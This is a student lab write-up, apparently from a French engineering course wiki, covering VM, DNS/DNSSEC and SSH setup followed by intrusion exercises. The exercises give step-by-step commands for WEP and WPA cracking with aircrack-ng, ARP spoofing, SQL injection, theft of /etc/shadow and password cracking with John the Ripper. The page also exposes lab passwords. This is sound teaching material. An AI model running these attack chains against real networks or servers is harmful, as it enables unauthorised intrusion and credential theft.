&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57833</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57833"/>
				<updated>2022-01-11T14:35:38Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Serveur SSh */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
